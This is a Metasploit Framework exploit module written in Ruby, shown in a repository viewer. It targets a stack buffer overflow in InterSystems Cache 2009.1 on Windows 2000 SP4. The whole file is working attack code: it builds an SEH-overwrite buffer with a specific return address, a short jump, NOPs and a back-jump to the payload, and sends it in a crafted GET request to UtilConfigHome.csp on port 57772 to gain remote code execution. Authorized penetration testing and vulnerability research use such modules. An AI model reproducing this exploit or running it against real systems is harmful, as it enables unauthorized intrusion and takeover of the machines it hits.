root / modules / exploits / windows / http / intersystems_cache.rb @ master
History | View | Annotate | Download (2.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }
|
| 18 |
|
| 19 |
include Msf::Exploit::Remote::HttpClient |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a stack buffer overflow in InterSystems Cache 2009.1. |
| 26 |
By sending a specially crafted GET request, an attacker may be able to execute |
| 27 |
arbitrary code. |
| 28 |
},
|
| 29 |
'Author' => [ 'MC' ], |
| 30 |
'License' => MSF_LICENSE, |
| 31 |
'Version' => '$Revision$', |
| 32 |
'References' =>
|
| 33 |
[ |
| 34 |
[ 'OSVDB', '60549' ], |
| 35 |
[ 'BID', '37177' ], |
| 36 |
], |
| 37 |
'DefaultOptions' =>
|
| 38 |
{
|
| 39 |
'EXITFUNC' => 'thread', |
| 40 |
}, |
| 41 |
'Privileged' => true, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 650, |
| 45 |
'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c", |
| 46 |
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", |
| 47 |
}, |
| 48 |
'Platform' => 'win', |
| 49 |
'Targets' =>
|
| 50 |
[ |
| 51 |
[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret |
| 52 |
], |
| 53 |
'DefaultTarget' => 0, |
| 54 |
'DisclosureDate' => 'Sep 29 2009')) # Initially...! |
| 55 |
|
| 56 |
register_options( [ Opt::RPORT(57772) ], self.class ) |
| 57 |
end
|
| 58 |
|
| 59 |
def exploit |
| 60 |
# offset to the seh frame.
|
| 61 |
sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
|
| 62 |
# jmp $+6 | p/p/r
|
| 63 |
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V') |
| 64 |
# fall into some nops, jmp back to our final payload.
|
| 65 |
sploit << make_nops(8) + [0xe9, -700].pack('CV') |
| 66 |
# cause the av!
|
| 67 |
sploit << rand_text_alpha_upper(payload.encoded.length) |
| 68 |
|
| 69 |
print_status("Trying target #{target.name}...")
|
| 70 |
|
| 71 |
send_request_raw({
|
| 72 |
'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit, |
| 73 |
'method' => 'GET', |
| 74 |
}, 5)
|
| 75 |
|
| 76 |
handler |
| 77 |
end
|
| 78 |
end
|